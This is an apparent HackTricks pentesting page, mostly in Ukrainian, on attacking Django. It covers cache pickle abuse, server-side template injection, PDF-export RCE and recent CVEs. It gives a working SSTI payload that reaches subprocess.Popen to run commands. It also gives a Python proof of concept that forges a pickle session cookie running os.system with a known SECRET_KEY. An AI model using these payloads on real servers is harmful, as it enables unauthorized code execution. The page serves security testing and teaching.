# Django {{#include ../../banners/hacktricks-training.md}} ## Маніпуляція кешем для RCE Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Якщо атакуючий може отримати права запису в кеш, він може ескалувати цю вразливість до RCE на підлягаючому сервері**. Кеш Django зберігається в одному з чотирьох місць: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Кеш, що зберігається в Redis server або database, є найімовірнішими векторами атаки (Redis injection and SQL injection), але атакуючий також може використати file-based cache, щоб перетворити довільний запис у RCE. Maintainers have marked this as a non-issue. Важливо зазначити, що папка файлів кешу, назва SQL-таблиці та деталі Redis server будуть відрізнятися в залежності від реалізації. This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436 --- ## Server-Side Template Injection (SSTI) The Django Template Language (DTL) is **Turing-complete**. Якщо дані, надані користувачем, рендеряться як *template string* (наприклад, викликом `Template(user_input).render()` або коли `|safe`/`format_html()` видаляє автоекранування), атакуючий може досягти повного SSTI → RCE. ### Виявлення 1. Шукайте динамічні виклики `Template()` / `Engine.from_string()` / `render_to_string()`, які включають *будь-які* ненормалізовані дані запиту. 2. Відправте тайм-орієнтований або арифметичний payload: ```django {{7*7}} ``` Якщо в результаті рендерингу з'являється `49`, вхід компілюється шаблонним двигуном. ### Примітив для RCE Django блокує прямий доступ до `__import__`, але граф об'єктів Python доступний: ```django {{''.__class__.mro()[1].__subclasses__()}} ``` Знайдіть індекс `subprocess.Popen` (≈400–500 залежно від збірки Python) і виконайте довільні команди: ```django {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} ``` A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`. The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input. --- ### Also see: ReportLab/xhtml2pdf PDF export RCE Додатки, побудовані на Django, зазвичай інтегрують xhtml2pdf/ReportLab для експорту views як PDF. Коли HTML, контрольований користувачем, потрапляє до генерації PDF, rl_safe_eval може оцінювати вирази всередині потрійних дужок `[[[ ... ]]]`, що дозволяє виконання коду (CVE-2023-33733). Деталі, payloads, and mitigations: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}} --- ## Pickle-Backed Session Cookie RCE Якщо налаштування `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` увімкнене (або використовується кастомний serializer, що десеріалізує pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Тому наявність дійсного signing key (проектний `SECRET_KEY` за замовчуванням) достатньо для негайного remote code execution. ### Exploit Requirements * Сервер використовує `PickleSerializer`. * Зловмисник знає / може вгадати `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.). ### Proof-of-Concept ```python #!/usr/bin/env python3 from django.contrib.sessions.serializers import PickleSerializer from django.core import signing import os, base64 class RCE(object): def __reduce__(self): return (os.system, ("id > /tmp/pwned",)) mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) print(f"sessionid={mal}") ``` Надішліть отриманий cookie, і payload виконається з дозволами WSGI worker. **Заходи пом'якшення**: Keep the default `JSONSerializer`, rotate `SECRET_KEY`, and configure `SESSION_COOKIE_HTTPONLY`. --- ## Останні (2023-2025) CVE високого впливу Django, які повинні перевірити Pentesters * **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). Дозволяє зловмисникам вводити символи нового рядка/ANSI-коди у файли логів і псувати подальший аналіз логів. Виправлено у версіях ≥ 4.2.22 / 5.1.10 / 5.2.2. * **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Сформуйте JSON keys так, щоб вийти з кавичок і виконати довільний SQL. Fixed in 4.2.15 / 5.0.8. Завжди ідентифікуйте точну версію фреймворка через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` і тестуйте наведене, де це доречно. --- ## Джерела * Повідомлення про безпеку Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. * OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. * 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../banners/hacktricks-training.md}}